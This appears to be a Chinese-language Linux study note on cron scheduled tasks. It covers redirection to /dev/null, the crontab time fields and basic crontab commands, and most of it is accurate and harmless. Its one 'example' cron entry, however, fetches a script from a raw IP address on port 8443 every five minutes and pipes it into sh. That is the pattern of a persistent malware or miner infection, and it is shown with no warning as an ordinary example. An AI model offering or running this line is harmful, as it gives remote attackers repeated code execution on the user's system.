zoukankan      html  css  js  c++  java
  • Linux运维学习笔记-定时任务知识总结

    定时任务编辑规范流程:

     

    重要知识点:

    切记用全路径编写定时脚本、定时任务

    大部分在 crontab 计划任务中都会年到未尾带 >/dev/null 2>&1,是什么意思呢?

    > 是重定向
    /dev/null 代表空设备文件
    1 表示stdout标准输出,系统默认值是1,所以 ">/dev/null" 等同于 "1>/dev/null"
    2 表示stderr标准错误
    & 表示等同于的意思,2>&1,表示2的输出重定向等同于1

    整句的意思就是标准输出重定向到空设备文件,也就是不输出任何信息到终端,标准错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

    &>/dev/null  即不管输出是什么都从定向到/dev/null

    command > file 2>file command > file 2>&1 有什么区别呢?

    command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.command > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,较多的时候我们会用command > file 2>&1 这样的写法。

    定时任务语法:

    01   *    *      *      *      cmd

    分    时    日    月    周    任务

    crontab语法格式中时间段的含义如下表

    含义

    取值范围(整数)

    第一段

    代表分钟

    00 – 59 (00也可以是0)

    第二段

    代表小时

    00 – 23

    第三段

    代表日,天

    01 – 31

    第四段

    代表月份

    01 – 12

    第五段

    代表星期,周几

    0 -7(0和7都代表星期日)

    提示:时间记忆口诀(分时日月周)。取值范围记录(正常日期时间范围)

    定时任务编辑位置:/etc/crontab

    编辑定时任务:crontab -e

    查看当前用户定时任务:crontab -l

    定时任务例子:

    */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

  • 相关阅读:
    SpringBoot多数据源启动器
    数据结构模拟器
    mysql5.7查询今天、昨天、本周、上周、本月、上月数据
    SpringBoot项目本地可以发送邮件,部署到阿里云服务器发送邮件失败的解决方法
    Centos7搭建Maven私服-Nexus3.19.1-01
    Linux中部署jar包并指定日志输出文件
    ThreadLocal是什么?谈谈你对他的理解
    leetcode-双指针遍历
    不要再纠结css/js/html有没有必要放在WEB-INF下了
    数据库的表的字段名称与实体类(pojo)不对应解决方案
  • 原文地址:https://www.cnblogs.com/tcheng/p/8595313.html
Copyright © 2011-2022 走看看